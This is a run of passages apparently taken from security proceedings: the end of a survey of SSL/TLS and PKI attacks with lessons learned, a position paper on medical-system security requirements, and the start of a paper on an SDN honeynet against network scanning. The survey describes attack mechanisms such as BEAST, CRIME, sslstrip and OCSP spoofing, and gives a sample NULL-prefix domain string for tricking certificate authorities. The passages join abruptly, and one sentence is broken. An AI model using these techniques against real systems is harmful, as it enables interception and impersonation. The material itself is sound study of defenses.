9 TLS 1.1 follows the first recommendation by introducing an explicit IV field.
10 http://www.openssl.org/∼bodo/tls-cbc.txt

http://www.openssl.org/~bodo/tls-cbc.txt
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– Different structured documents may lead to a predictable behavior of the
client’s application (e.g. a browser normally gathers all images of a website -
causing different requests and different responses).

– Content on public sites is visible to everyone, thus linking (e.g. by size) is
possible.

Moreover, an attacker could also actively influence the victim’s behavior and
gain information by providing specially crafted documents with particular and
distinguishable content lengths, structures, URLs or external resources.

The author provides some hints on how the surface of the attack can be lim-
ited, but the practicability of the recommended measures remains questionable.

– URL padding - all URLs are of equal length
– Content padding - all content is of equal size
– Contribution padding - all send data is of equal size
– Structure padding - all sites have an equal structure

This flaw was also discussed by Wagner and Schneier in [7] who credited
Bennet Yee as the first one describing traffic analysis on SSL. As a counter-
measure Wagner and Schneier suggested random length padding not only for
block cipher mode, but for all cipher modes. The attack feasibility was proven
by Chen, Wang, Wang and Zhang in [26].

Lesson learned. Attackers may find ways to use every obtainable part of infor-
mation for further attacks. More sophisticated attacks are possible if fields are
left unauthenticated. Protocol designers and developers should be aware of this
fact and sparely disclose any information.

3.8 Practical IV Chaining Vulnerability

Rizzo and Duong presented in [27] a tool called B.E.A.S.T. that is able to decrypt
HTTPS traffic (e.g. cookies). The authors implemented and extended ideas of
Bard [23,24], Möller and Dai11. Rizzo and Duong created a decryption oracle
based on the precondition that the IVs used by CBC (the last encryption block
of the preceding encryption) are known to the attacker.

To decrypt ciphertexts byte-wise, the authors propose a new kind of attack
named block-wise chosen-boundary attack. It requires an attacker who is able
to move a message before encryption in its block boundaries. This means an
attacker may prepend a message with arbitrary data in such a way that it is
split into multiple blocks of block-size of the cipher. Based on this, it is possible
to split a message of full block-size into two blocks: the first one consisting of
arbitrary data and the first byte of the original block and the second block
consisting of the remaining bytes and a single free byte. So prefixing a message
with an attacker defined amount of data shifts the message (if necessary into a
new block). An attacker is absolutely free to prepend any data of her choice and
length. An example is given in Fig. 7.
11 http://www.weidai.com/ssh2-attack.txt

http://www.weidai.com/ssh2-attack.txt
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Fig. 7. Example boundary shifting

Full message decryption. To decrypt a full message the attacker adjusts the
amount of random prefix data so that the next unknown byte is always the last
byte in a block. This means that the message is shifted in such a way, that the
scenario illustrated in Fig. 7 applies to the next unknown byte. The unknown
byte becomes the last and only byte of a single block unknown to the attacker.
Finally, this leads to a byte by byte message decryption.

Rizzo and Duong demonstrated how B.E.A.S.T. could be used to decrypt
HTTPS secured cookies. Due to this massive vulnerability, migration to TLS
Version 1.1 has been recommended since by IETF.

Lesson learned. Theoretical only vulnerabilities can turn into practice.

3.9 Short Message Collisions and Busting Length Hiding

In [28] Paterson, Ristenpart and Shrimpton outlined an attack related to the
MAC-then-PAD-then-Encrypt scheme in combination with short messages. In
particular, their attack is applicable if all parts of a message (message, padding,
MAC) fit into a single block of the cipher’s block-size. Under special precondi-
tions the authors described the creation of different ciphertexts leading to the
same plaintext message.

The surface for this attack is limited, since the preconditions (message,
padding and MAC have to fit into a single block) are quite strong.

Lesson learned. MIN/MAX lengths for input and output data of cryptographic
algorithms are beneficial.

3.10 Message Distinguishing

Paterson et al. extended in [28] the attack described in Sect. 3.9 enabling an
attacker to distinguish between two messages. The attack is based on clever mod-
ification of the eavesdropped ciphertext so that it either passes the processing or
leads to an error message. Based on the outcome (error/no error) it is possible to
determine which content was send. The attack works only if the possible contents
are of different, short length. At least, the attack remains unexploitable (until
the day of writing) due to the fact that it is only possible for 80 bit truncated
MACs.

Lesson learned. See Sect. 3.9 and always remember Sect. 3.8.
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3.11 Breaking DTLS

In [29] AlFardan and Paterson applied Vaudenay’s attack (cf. Sect. 3.2) to DTLS.
DTLS is a slightly different version of regular TLS adjusted to unreliable trans-
port protocols, such as UDP. Compared to TLS, there are two major differences:
1. Complete absence of Alert messages
2. Messages causing protocol errors (bad padding, invalid MAC, ...) are simply

dropped, instead of causing a connection abort invalidating the session keys

Vaudenay’s attack works on DTLS since bad messages do not cause session
invalidation. But with the lack of error messages there is no feedback whether
the modified messages contained a valid padding or not. The authors adjusted
Vaudenay’s algorithms to use a timing oracle.

OpenSSL and GnuTLS were analyzed, both vulnerable to a timing oracle
enhanced version of Vaudenay’s attack. According to the authors, it was neces-
sary to disable the protocol’s anti-replay option, which is enabled by default.

Lesson learned. The authors recommend that defining standards only by spec-
ifying differences to other standards should be avoided.

3.12 Practical Compression Based Attacks

In 2012, Rizzo and Duong presented the C.R.I.M.E. attack tool which targets
HTTPS and is able to decrypt traffic, enabling cookie stealing and session take-
over. It exploits a known vulnerability caused by the use of message compression
(cf. Sect. 3.3). The attack requires compression to be enabled in an SSL/TLS
session.

Basically, an attacker prefixes the secret with guessed subsequences and
observes if it leads to compression (by observing the resulting ciphertext length).
A decreased ciphertext length implies redundancy, so it is very likely that the
guessed, prefixed subsequence caused redundancy in the plaintext. This implies
that a guess, having something in common with the secret, will have a higher
compression rate leading to a shorter output. When such an output is detected
the attacker knows that the guess has something in common with the secret.

Lesson learned. See Sect. 3.8.

3.13 Timing Based Side-Channels Strike Back

In February 2013, AlFardan and Paterson introduced the Lucky Thirteen attack
[30]. The attack enables plaintext recovery against TLS and DTLS by exploiting
the already discussed MAC-then-PAD-then-Encrypt design of the protocols. The
author’s tamper with the padding data and measure the time needed for MAC cal-
culation on server side. By cleverly choosing the padding values it is possible to
distinguish valid from invalid paddings, leaking information about the plaintext.
Basically, the time required for MAC computation is of significance - the decryp-
tion oracle is based on these timing differences. The attack can be enhanced when
combined with techniques of the B.E.A.S.T. attack (cf. Sect. 3.8).
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Lesson learned. Weaknesses may turn into practice and get even worse when
combined with known attacks.

3.14 RC4: A Vulnerable Alternative

The stream cipher RC4 is often proposed as a countermeasure to Padding Oracle
Attacks (cf. Sect. 3.2). Unfortunately, RC4 is known to have vulnerabilities and
weaknesses12. In 2013, Isobe, Ohigashi, Watanabe and Morrii identified in [32]
biases in the initial bytes of RC4 keystreams that can be used to perform plain-
text recovery of encrypted ciphertexts (similar results have been discussed inde-
pendently13, but are not yet published) and thus break SSL/TLS encryption.

Lesson learned. Take known weaknesses seriously!

4 Attacks on the PKI

4.1 Weak Cryptographic Primitives Lead to Colliding Certificates

Lenstra, Wang and de Weger described in 2005 how an attacker could create
valid X.509 certificates with collinding MD5 hash values [33]. With that it is
possible to impersonate clients or servers - this enables hard to detect attacks.

The practicality of the attack was demonstrated in 2008 by Sotirov, Stevens,
Appelbaum, Lenstra, Molnar, Osvik and de Weger14 who were able, through
clever interaction between certificate requests from a legal CA and a massively
parallel search for MD5 collisions, to create a valid CA certificate for TLS.

Lesson learned. As long as user agents accept MD5 certificates, the surface
still exists. Weak algorithms may lead to complete breach of the security.

4.2 Weaknesses in X.509 Certificate Constraint Checking

In 2008, US hacker Matthew Rosenfeld, better known as Moxie Marlinspike,
published a vulnerability report [34] affecting the certificate basic constraint
validation of Microsoft’s Internet Explorer (IE). IE did not check if certificates
were allowed to sign sub-certificates. Any valid certificate, signed by a trusted
CA, was allowed to issue sub-certificates for any domain.

The tool sslsniff15 provides a proof of concept implementation with the
attacker acting as Mitm, issuing certificates for a requested domain on the fly.

Lesson learned. The attack relies on a specific implementation bug and has
been fixed. However, certificate validation is a critical step. This again stresses
the need for well-written specifications sketching all security related processing
steps in detail and, in turn, obligates developers to implement exactly as outlined.
12 That, in the past, lead to the decline of e.g. WEP [31].
13 http://www.isg.rhul.ac.uk/tls/
14 http://www.win.tue.nl/hashclash/rogue-ca/
15 http://www.thoughtcrime.org/software/sslsniff/

http://www.isg.rhul.ac.uk/tls/
http://www.win.tue.nl/hashclash/rogue-ca/
http://www.thoughtcrime.org/software/sslsniff/
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4.3 Attacks on Certificate Issuer Application Logic

Attacks on the PKI by exploiting implementational bugs on CA side were demon-
strated by Marlinspike in [35], who was able to trick the CA’s issuance logic by
using specially crafted domain strings. Marlinspike gained certificates for arbi-
trary domains, issued by trusted CAs.

Marlinspike made use of the encoding of X.509 - ASN1. ASN1 supports multi-
ple String formats, all leading to slightly different PASCAL String representation
conventions. PASCAL and C store strings differently, the first: length prefixed,
and the other: NULL terminated.

This prepares the way for the NULL-Prefix attack: A sample domain name
which could be used in a Certificate Signing Request (CSR) is the following
www.targetToAttack.com\0.example.com, assuming that the attacker is the
owner of example.com. The attack works, because the CA logic only checks the
TLD (example.com). The leading NULL-byte (\0) is valid because of ASN1’s
length-prefixed representation (where NULL-bytes within the payload String are
valid). When the prepared domain String is presented to common application
logic (mostly written in languages representing Strings NULL-terminated), such
as e.g. most browsers, the String is prematurely terminated. As a result only the
String afore the NULL byte (www.targetToAttack.com) is being validated.

A specialization of the attack are wild-card certificates. The asterisk (*) can
be used to create certificates, valid - if successfully signed by a trusted CA - for
any domain (e.g., *\0.example.com).
Lesson learned. Certification authorities should be prepared to deal with dif-
ferent encodings and security issues related to this.

4.4 Attacking the PKI

Marlinspike described in [36] an attack that aims at interfering the infrastruc-
ture to revoke certificates. By the use of the Online Certificate Status Protocol
(OCSP) a client application can check the revocation status of a certificate. The
response contains a field responseStatus which is not protected by a signature.

An attacker acting as Mitm could respond to every query with tryLater. Due
to lack for a signature the client has no chance to detect the spoofed response.
Thereby, a victim is not able to query the revocation status of a certificate.

Lesson learned. Every sensitive message parts should be integrity protected
and authenticated. If necessary, encryption should additionally be used for con-
fidential data. If real-time checks on a PKI are required, unsigned responses
should lead to a halt in protocol execution.

4.5 Wildcard Certificate Validation Weakness

Moore and Ward published a Security Advisory [37] concerning wildcard (*)
usage when IP addresses are used as CN URI in X.509 certificates. According
to RFC 2818 [38] wildcards are not allowed for IP addresses. The authors found
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multiple browsers treating IP addresses including wildcard characters as certifi-
cate CN as valid and matching. The authors could fool browsers to accept issued
certificates with CN=“*.168.3.48”. This certificate was treated as valid for any
server with a “.168.3.48” postfix.

Lesson learned. Certificate validation is challenging.

4.6 Conquest of a Certification Authority

In March 2011 the Comodo CA Ltd. Certification Authority (CA) was success-
fully compromised [39]. An attacker used a reseller account to issue 9 certificates
for popular domains. Except rumors, the purpose of the attack remains unclear.

Lesson learned. Certification authorities have to protect their critical
infrastructure with strong security mechanisms.

4.7 Conquest of Another CA

Soon after the attack on Comodo, a Dutch Certification Authority - DigiNotar
- was completely compromised by an attacker [40]. In contrast to the Comodo
impact, the attacker was able to gain control over the DigiNotar infrastructure.
The attack discovery was eased by Google’s Chrome web browser who com-
plained about mismatching certificates for Google-owned domains. The browser
stores hard coded copies of the genuine certificates for Google and thus was able
to detect bogus certificates.

Lesson learned. Beside the lesson learned from Sect. 4.6, it can be seen that
mechanisms like malware and intrusion detection must be present in CA systems.

4.8 Risks of Unqualified Domain Names

The risks of unqualified domain names such as e.g. mail, exchange or wiki were
discussed in a blog entry by Chris Palmer [41].The author used the EFF SSL
Observatory16 to identify certificates with unqualified domain names, issued by
trusted CAs. This could leverage Man-in-the-middle attacks.

Lesson learned. Only rely on fully qualified domain names.

4.9 CA’s Issuing Weak Certificates

DigiCert Malaysia was blamed for issuing 22 certificates with weak 512-bit
RSA keys and no certificate revocation extensions17. As a consequence Entrust
revoked DigiCert Malaysia’s intermediate CA certificate.

Lesson learned. Strong algorithms and key lengths are of major importance.
16 https://www.eff.org/observatory
17 http://www.entrust.net/advisories/malaysia.htm

https://www.eff.org/observatory
http://www.entrust.net/advisories/malaysia.htm
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4.10 Attacks on Non-browser Based Certificate Validation

Georgiev et al. [42] uncovered that widespread libraries for SSL/TLS suffer from
vulnerable certificate validation implementations. As major causes for these
problems bad and misleading API specifications, lacking interest for security
concerns at all and the absence of essential validation routines were identified.

Especially, the following security tasks and robustness of the libraries’ code
responsible for these tasks are considered:

– Certificate chaining and verification
– Host name verification
– Certificate revocation checks
– X.509 extension handling and processing

Exploiting these vulnerabilities may lead to Mitm and impersonation attacks.

Lesson learned. Clean, simple and well documented APIs are important.

4.11 Mis-Issued Certificates

A flawed business process at TURKTRUST accidently issued 2 intermediate CA
certificates [43]. The issue was discovered by Google’s Chrome Browser when it
recognized bogus certificates for *.google.com.

Lesson learned. Means for the detection of illegal certificates are needed.

5 Various Attacks

5.1 Random Number Prediction

In January 1996, Goldberg and Wagner published an article [44] on the quality
of random numbers used for SSL connections by the Netscape Browser. The
authors identified striking weaknesses in the algorithm responsible for random
number generation. The algorithm’s entropy relied on a few, predictable values.

Lesson learned. Good (pseudo) random number generators (PRNGs) are essen-
tial for cryptography (cf. Sect. 5.2).

5.2 Weak Random Numbers

In 2008, Luciano Bello [45] observed during code review that the PRNG of
Debian-specific OpenSSL was predictable, due to an implementation bug. A
Debian-specific patch removed two very important lines in the libssl source
code responsible for providing adequate entropy18. limited without these code
lines.

Lesson learned. Developers should comment security critical parts of source
code, exactly explain the intention and highlight the consequences when altered.
Beyond this, test cases targeting the critical code lines should be provided.
18 http://anonscm.debian.org/viewvc/pkg-openssl/openssl/trunk/rand/md rand.c?

p2=%2Fopenssl%2Ftrunk%2Frand%2Fmd rand.c&p1=openssl%2Ftrunk%2Frand%2Fmd

rand.c&r1=141&r2=140&view=diff&pathrev=141

http://anonscm.debian.org/viewvc/pkg-openssl/openssl/trunk/rand/md_rand.c?p2=%2Fopenssl%2Ftrunk%2Frand%2Fmd_rand.c&p1=openssl%2Ftrunk%2Frand%2Fmd_rand.c&r1=141&r2=140&view=diff&pathrev=141
http://anonscm.debian.org/viewvc/pkg-openssl/openssl/trunk/rand/md_rand.c?p2=%2Fopenssl%2Ftrunk%2Frand%2Fmd_rand.c&p1=openssl%2Ftrunk%2Frand%2Fmd_rand.c&r1=141&r2=140&view=diff&pathrev=141
http://anonscm.debian.org/viewvc/pkg-openssl/openssl/trunk/rand/md_rand.c?p2=%2Fopenssl%2Ftrunk%2Frand%2Fmd_rand.c&p1=openssl%2Ftrunk%2Frand%2Fmd_rand.c&r1=141&r2=140&view=diff&pathrev=141
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5.3 Denial of Service Enabled by Exceptions

In [46] Zhao, Vemuri, Chen, Chen, Zhou and Fu provided attacks on the TLS
handshake which leads to an immediate connection shutdown.

– The first attack targets the Alert protocol of TLS and makes use of the fact
that, due to yet missing cryptographic primitives during the handshake phase,
all Alert messages remain strictly unauthenticated and thus spoof-able. This
enables an obvious, but effective attack: Spoofing Fatal Alert messages which
cause immediate connection shutdowns.

– The second attack simply confuses a communication partner by sending either
misleading, replayed or responding with wrong messages according to the
expected handshake flow.

Lesson learned. Even obvious and self-evident weaknesses have to be discussed
and focus of research.

5.4 Renegotiation Flaw

Ray and Dispensa discovered in [47] a serious flaw induced by the renegotia-
tion feature of TLS. The flaw enables an attacker to inject data into a running
connection without destroying the session. The attacker gets no authentication
cookie in plaintext, but her request is constructed to be concatenated on server
side in a special way - the attacker is at no time able to decrypt traffic. Anil
Kurmus proved the flaw to be practical19 by stealing confidential data from
Twitter sessions. The attack was slightly modified (an unfinished POST request
was used), but the idea remained the same.

Lesson learned. When switching security contexts it needs to be guaranteed
that there is no pending data left.

5.5 Disabling SSL/TLS at a Higher Layer

In February 2009, Marlinspike released sslstrip20 a tool which disables SSL/-
TLS at a higher layer. As a precondition it is necessary for an attacker to act as
Mitm. To disable SSL/TLS the tool sends HTTP 301 - permanent redirection -
responses and replaces any occurrence of https:// with http://. This causes
the client to move to the redirected page with SSL/TLS turned off. Finally, the
attacker opens a fresh session to the (requested) server and passes-through or
alters any client and server data. The attack sketch is outlined in Fig. 8.

Lesson learned. Proper visualization of secured connections in the user agents
is necessary.
19 http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html
20 http://www.thoughtcrime.org/software/sslstrip/

http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html
http://www.thoughtcrime.org/software/sslstrip/
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Fig. 8. Example scenario for a SSL stripping attack

5.6 Computational Denial of Service

In 2011, the German Hacker Group The Hackers Choice released a tool called
THC-SSL-DoS21, which creates huge load on servers by overwhelming the target
with SSL/TLS handshake requests. Assuming that the majority of computation
during a handshake is done by the server, the attack creates more system load
on the server than on the own device - leading to a Denial of Service.

Lesson learned. When dealing with DoS attacks, cryptography is part of the
problem, not a solution.

6 Conclusion

Summarizing the lessons learned leads to some basic hints:

1. Theoretical attacks can turn into practice
2. Side channels may appear at different layers in different situations
3. Reliable cryptographic primitives are important
4. Processes must leak as little information as possible
5. Specifications have to be implemented without own improvements
6. Critical parts in specifications and source code have to be highlighted
7. Specifications have to be verbose, unambiguous and technically detailed
8. Details on requirements and preconditions are necessary
9. Data has to be protected (authenticated, integrity ensured, encrypted, etc.)

10. The interplay between different layers must be part of the security analysis
11. Flexibility mostly means additional risks
12. Always be careful and alarmed

DoS attacks remain a future problem. Means to lower the attack surface emerged
to be of increased relevance.
21 http://www.thc.org/thc-ssl-dos/
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Abstract. We describe a preliminary set of security requirements for
safe and secure next-generation medical systems, consisting of dynami-
cally composable units, tied together through a real-time safety-critical
middleware. We note that this requirement set is not the same for indi-
vidual (stand-alone) devices or for electronic health record systems, and
we must take care to define system-level requirements rather than secu-
rity goals for components. The requirements themselves build on each
other such that it is difficult or impossible to eliminate any one of the
requirements and still achieve high-level security goals.

1 Introduction

This position paper is a first step in deriving and elucidating security prop-
erties needed for safe operation of next-generation medical systems – sets of
medical devices and health information systems, dynamically composable as
needed. and enabled by medical application platforms. MAPs are safety-
and security-critical real-time open computing platforms for (a) integrating het-
erogeneous devices, medical information systems, and information displays via
a communication infrastructure and (b) hosting application programs (clinical
logic and/or workflow automation) that provide medical utility via the ability to
both acquire information from, and update/control integrated devices, IT sys-
tems, and displays [1]. A MAP can be implemented in a number of ways and
environments such as clinical, home-based, mobile, or distributed.

While security alone cannot guarantee safety, it is unlikely that we will be
able to achieve safety without security. Current safety evaluation and verifica-
tion and validations techniques are designed primarily to deal with environmen-
tal failures and stand-alone devices or collections of devices that are integrated
by a single manufacturer. For medical systems that do include some form of
limited dynamic integration and reconfigurability of components such as central
station monitors, current safety approaches often dictate that each combination
of components requires evaluation as a complete system. This implies that for
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a system with interchangeable constituents, the manufacturer must gain regula-
tory approval for every possible permutation of constituent devices forming the
composite medical system (which has been termed “pair-wise” approval).1 For
example, if a new type of medical device is added to the central station monitor-
ing system, then the entire system must be reevaluated. Security is rarely taken
into account, dismissed with blanket statements of precautions such as usage of
antivirus software on desktops and intrusion detection/prevention in networks.
Note that we are referring to the security of medical platforms as a whole rather
than individual devices. Device security is vital [3,4], but does not capture the
all security requirements for a system of interoperating devices.

Experience in consumer electronics with interoperability standards such as
USB, WiFi, etc. has shown the success of the “component-wise” certification
approach: manufacturers submit their products to third-party certification orga-
nizations that verify that the products conform to interfacing and communi-
cation standards. These components are then integrated into larger systems/
configurations with high degrees of confidence and without the need to verify
each possible combination of components. Of course, the challenges in the area
of safety/security-critical medical systems are much greater. However, in the
critical systems space, Integrated Modular Avionics [5] and the MILS Security
architecture [6] are examples where standards-based architectures and inter-
faces are being used to encourage the development of a commodity market of
safety-critical components, taking security into account explicitly. We believe
that lessons learned in these frameworks can help in constructing standards that
will allow medical systems to be verified and receive safety evaluations in a
component-wise, as opposed to a pair-wise, fashion.

2 Unique Security Challenges

Medical systems are a unique instance of cyber-physical systems (CPS). They
often require real-time guarantees which are more strict than other CPSes such as
the smart grid. Avionics, power plant control systems, and other industries with
federal safety regulations come to mind as the closest analogs, but these systems
are closed to the outside and physically protected from tampering. Hospitals
and other care facilities, on the other hand, rarely incorporate physical access
control except for controlled substances, and individual devices are almost never
tamper-resistant. Several additional quirks make medical applications unique
within the CPS realm. One is the regulatory requirement for emergency override
– human caregivers must be able to disable safeguards that are designed to ensure
safety and security but may, in an emergency, inhibit delivery of needed care.
Medical systems themselves are assumed to be unreliable in determining when
such an emergency is taking place. Therefore, security controls must be subject
to disabling – termed “break-glass,” [7] such as when pulling a fire alarm breaks
a glass rod before activating. Security is especially challenging to implement
when it can be disabled. Further, while we cannot rely on authentication during
1 Details of issues with the current pair-wise regulatory approach can be found in [2].
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emergencies – it may slow down emergency response – we must maintain (in fact,
increase) accountability and logging to ensure that post-hoc event reconstruction
and auditing is possible.

3 Minimal Requirements

We suggest a list of security properties (for component-wise evaluated systems)
that must be enforced in order to ensure:

– no harm can come to the patient through deliberate tampering with data;
– confidential patient data is not obtained by unauthorized parties;
– regulatory authorities and medical system operators can be confident that

only components that are authorized for use are incorporated; and
– in case of an adverse incident, authorities have sufficient information available

to support audits to determine the root cause(s) of the incident.

These properties are inspired by, and partially draw from, Anderson’s model of
clinical information systems [8], but encompass individual composable devices as
well as middleware/support system architecture rather than focusing on data-
bases of patient health records or individual devices.

1. Integrity to prevent unauthorized alteration of data or code2 in transit3 or
at rest, and prevent unauthorized physical modification.

2. Authenticity for trustworthy identification of principals.
3. Authorization to codify the actions that an entity is allowed to perform.
4. Attribution to allow unambiguous identification of proximal causes of events

or sources of data.
5. Provenance to record the original source and chain of possession of data

(i.e., series of attributions). This should be securely and reliably logged.
6. Availability to guarantee that the system is reliable for predefined (possibly

very small) periods of time.
7. Timeliness and transparency of system availability state, i.e., messages are

delivered in a timely fashion4 or not at all, and exposure to the components
of the status of the system – whether or not it is currently available/reliable.

8. Confidentiality to ensure data is not readable by anyone who does not have
the correct cryptographic credentials.

9. Privacy, which is broader than confidentiality, and is meant to partially
control information leakage and inference.

Figure 1 shows property dependencies, but they may differ depending on
the point of view. Moving from the bottom up, provenance (and secure log-
ging of data and metadata) achieves accountability of original source as well as
intermediate entities, providing full traceability of data custody and alteration.
2 Code can include “virtual” software-only “devices”.
3 Data left its producer but has not yet arrived at the final consumer (destination).
4 As defined by the receiving component.
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Fig. 1. Requirement interdependencies. Children depend on parents.

This can only be achieved by systems providing attribution of data to its pre-
vious custodian. Attribution in turn relies on the authenticity and integrity
of the data and the device that authored it. Note that authorization, while
requiring authenticity and integrity, is somewhat orthogonal, since actions
may be allowed under certain circumstances without prior authorization (such
as break-glass), as long as they are logged and can later be audited and their
provenance traced. Confidentiality and privacy are likewise orthogonal, since
in most cases they are not required for safe operation (although they are required
by law in some jurisdictions to protect private health information [9,10]). Avail-
ability and timeliness of events are both required, but not to the same extent
in all systems. Not all medical interactions require full real-time guarantees and
continuous connectivity, but these properties must be taken into account: avail-
ability because the system must be functional at least part of the time, even if
only long-enough for initial programming and a “start” command, and timeli-
ness or temporal ordering awareness because in cases where real-time control is
needed, we must reliably notify communicating components when that property
has been lost, so they can engage their fallback failsafe states. Certainly tempo-
ral ordering is also required for logging, in order to allow for accurate forensic
reconstruction of events [11,12].

4 Conclusion

The properties enumerated above are required for effective component-wise
clearance, and eliminating each one presents a problem for technical opera-
tion, regulatory approval, or both. Some properties build upon others, and their
requirements can be traced to the desirability of the “top-level” property. For
instance, if we want provenance information as part of a log, we must also have
attribution, which requires authenticity and integrity.
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Abstract. In this paper, we propose a new network architecture, Net-
work Iron Curtain that can handle network scanning attacks auto-
matically. Network Iron Curtain does not require additional devices
or complicated configurations when it detects scanning attack, and it can
confuse scanning attackers by providing fake scanning results. When an
attacker sends a scanning packet to a host in Network Iron Curtain,
Network Iron Curtain detects this trial and redirects this packet to
a honeynet, which is installed with Network Iron Curtain. The hon-
eynet will respond to this scanning packet based on the predefined policy
instead of the original target host. Therefore, the attacker will have fake
information (i.e., false open port information). We implement a proto-
type system to verify the proposed architecture, and we show an example
case of detecting network scanning.

Keywords: Software-Defined Networking · OpenFlow · Network secu-
rity · Scanning attack

1 Introduction

Nowadays, networks are facing many network threats, such as denial of service
attacks, network intrusion attacks, and network scanning attacks. Among them,
network scanning attacks are the most basic and critical threat, because they are
the starting point of following threats. For example, if an attacker wants to infect
a host in a network, he needs to discover some candidate hosts for infection. To
do this, he should first find a host that can be reached through a network and
has some vulnerabilities by sending network packets for scanning.

Likewise, an attacker will start his malicious operations by scanning a net-
work, and thus, network administrators try to defend their networks from this
network scanning attack. In this context, to detect network scanning attacks,
many approaches have been proposed so far, and TRW [17] and RBS [8] algo-
rithms are good examples. They have been implemented in real detection sys-
tems (e.g., Bro network intrusion detection system [1]), and used in real world
networks.
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However, current detection approaches have some limitations. First, it usu-
ally requires steps for determining some configuration variables (e.g., threshold
values) for detection. This limitation has been pointed out by the previous work
[20], and it denotes that detection rates of the popular network scanning detec-
tion approaches (e.g., TRW [17], RBS [8], and MRW [22]) are various according
to the threshold values. Second, they may not detect some stealthy scan trials.
Stafford et al., mentions that one network scan trial per every 10 s can avoid
most detection approaches [20]. Third, most detection approaches only provide
ways of detection, and they do not provide some methods to handle scan trials.

To address these issues, in this paper, we propose a new network architecture,
Network Iron Curtain that can detect network scanning trials and handle
them automatically. To detect and handle scanning trials without additional
devices or programs, we employ a new network technology - OpenFlow [11,14],
and it helps us dynamically monitor and control network flows. With the help of
this technology, we can detect network scanning trials by simply adding network
applications running on the OpenFlow controller1. In addition, we do not need
to concern about the configurations for detection systems, because the proposed
network architecture will automatically handle suspicious flows (i.e., flows that
can be considered as scanning trials). Moreover, this architecture will provide
fake information to a network scanning attackers, and it ultimately hides our
networks from attackers.

The contributions from this work can be summarized as follows:

– We propose a new network architecture - Network Iron Curtain - that
can detect network scanning trials automatically, and the architecture does
not need to consider additional devices or complicated configurations

– Our approach can confuse attackers by providing fake information of our net-
work,

– We implement a prototype system with Software-Defined Networking tech-
nology (i.e., OpenFlow), and we show example working cases to verify our
approach.

2 OpenFlow

In this section, we describe what is OpenFlow and how it works. OpenFlow (OF)
represents an interface between the data plane and the control plane to sup-
port SDN functions. It specifies the functions of network devices (e.g., switch),
and it also defines the protocol between network devices and a controller that
conducts the function of control plane. Thus, the OpenFlow specification itself
does not cover all functions of SDN. However, we usually use OpenFlow and
SDN interchangeably because the OpenFlow specification [14] is the key part of
SDN technology. OpenFlow enabled network devices (i.e., data plane) are com-
monly cooperated with network controllers (i.e., control plane) such as NOX [7],
Floodlight [5], and POX [16]. A simple OpenFlow enabled network architecture
is shown in Fig. 1.
1 We provide more information about OpenFlow in the next section.
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Fig. 1. High-level overview of OpenFlow switch architecture.
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Fig. 2. A simplified OpenFlow network

How OpenFlow/SDN works: To demonstrate how a typical OpenFlow/
SDN network works, we create a simplified scenario as shown in Fig. 2. This
network consists of three hosts, an OpenFlow enabled switch, a controller, and
three applications running on the controller.

Unlike a legacy network device, which makes packet handling decision by
itself, an OpenFlow network device handles network flows based on the flow
rules sent by a controller (and an application), as illustrated in Fig. 2. (1) A
new packet arrives. (2) The OF device first checks its flow table. If there is an
existing rule for this flow, it simply follows the rule. (3) Otherwise, it will ask
the controller. (4) The controller application makes a decision and sends a flow
rule back. (5) Finally, the device uses the receive flow rule to handle the packet.
It is worth noting that the OF device only needs to contact the controller for a
new flow that does not have corresponding rule yet, i.e., this operation happens
only for the first packet of a new flow.

3 Design

At a high level, our system checks whether an incoming packet is toward a closed
port or an unused port or corrupted2. If it is, our system considers the packet as
2 We consider that the packet is corrupted if it does not follow the network protocol

standard. For example, if a TCP session is initiated by a TCP RST packet, then we
regard that the RST packet is corrupted.
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Fig. 3. Simplified network architecture and OpenFlow controller diagram

a network scanning trial. If the incoming packet is considered as a network scan
trial, this packet and the following packets from the same source (i.e., from the
same source IP address) will be redirected to our honeynet system. Then, our
honeynet first reacts to the scanning packet based on the predefined policies. In
addition, the honeynet system keeps maintaining the connection, and it tries to
capture more information (e.g., malware binary download) from an attacker.

3.1 Overall Operation

To explain how Network Iron Curtain operates and detects network scan-
ning trials clearly, we use a simplified OpenFlow based network architecture
shown in Fig. 3. In this architecture, there is a host (Host D), which opens net-
work port 80 and connected to an OpenFlow enabled switch , and a honeynet
is connected to the switch as well. This OpenFlow switch is controlled by a
controller in the Figure. A network policy table, which will be used to control
network flows, is in the OpenFlow switch, and there is no policy for handling
network flows at this time. Two hosts (Host A and Scanner S) in the Internet
are connected to the OpenFlow switch, and they can contact Host D through
the OpenFlow switch.

Figure 3 also shows the four modules for realizing Network Iron Curtain
functions. These four modules are located in the OpenFlow controller; (i) event
handler, which receives reports from the OpenFlow switches about new network
flows or statistical information of flows, (ii) flow analyzer, which analyzes reports
from the OpenFlow switches and decides new policies, (iii) message handler,
which delivers messages of queries or new policies to the OpenFlow switches,
and (iv) timer, which notifies timing events to the flow analyzer.

These operations are similar with the dynamic firewall, that can detect
and block the malicious client. The major strong point of Network Iron
Curtain is that all switches can be the dynamic firewall without any firewall
devices. The location of a firewall is the problem, especially in cloud network [18].
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So, Network Iron Curtain is a better solution than the several dynamic fire-
wall devices in a large network.

Now, we describe how Network Iron Curtain handles network flows to
hide a network from network scanning trials. Here, we mainly describes the cases
of TCP connection cases (including both a normal TCP connection trial and a
scanning trial), because network flows for TCP covers most of network traffic.
We also provide an idea how to handle UDP network flows to harden our system.

3.2 TCP Connection Case

TCP Normal Connection: A normal TCP connection starts with a SYN
flagged packet from an initiator, and if this packet is delivered to a open network
port, which serves network services based on TCP protocol, a SYN/ACK packet
will be answered from the port. And finally, the initiator finishes a connection
set-up by sending an ACK packet (i.e., TCP 3-way handshake).

When a TCP 3-way handshaking happens, Network Iron Curtain works
as shown in Fig. 4: (1) Host A sends a TCP SYN packet to the OpenFlow switch,
(2) Since there is no matching policy in the policy table, the switch reports the
information of this packet to the OpenFlow controller. (3) The event handler
in the controller receives this report and delivers to the flow analyzer. The flow
analyzer investigates the packet and it sees the SYN flag in the packet and sets
a timer3, and finally it enforces a new policy, which is forwarding a packet from
the Host A to port 80 in the Host D, to the switch through the message handler.
(4) The switch receives the policy and stores the policy into the policy table.
(5) The switch forwards the packet to port 80 in the Host D. (6) Since the port
80 of the Host D is open, Host D responds with a SYN/ACK packet. (7) The
packet from the Host D (i.e., the SYN/ACK packet from the Host D to the Host
A) does not match any policy in the policy table, thus the switch reports this
to the controller. (8) The controller observes a SYN/ACK flag in the packet,
release the timer for this flow, and enforces a new policy, which is a forwarding
packets from Host A to Host D and from Host D to Host A (i.e., bi-directional
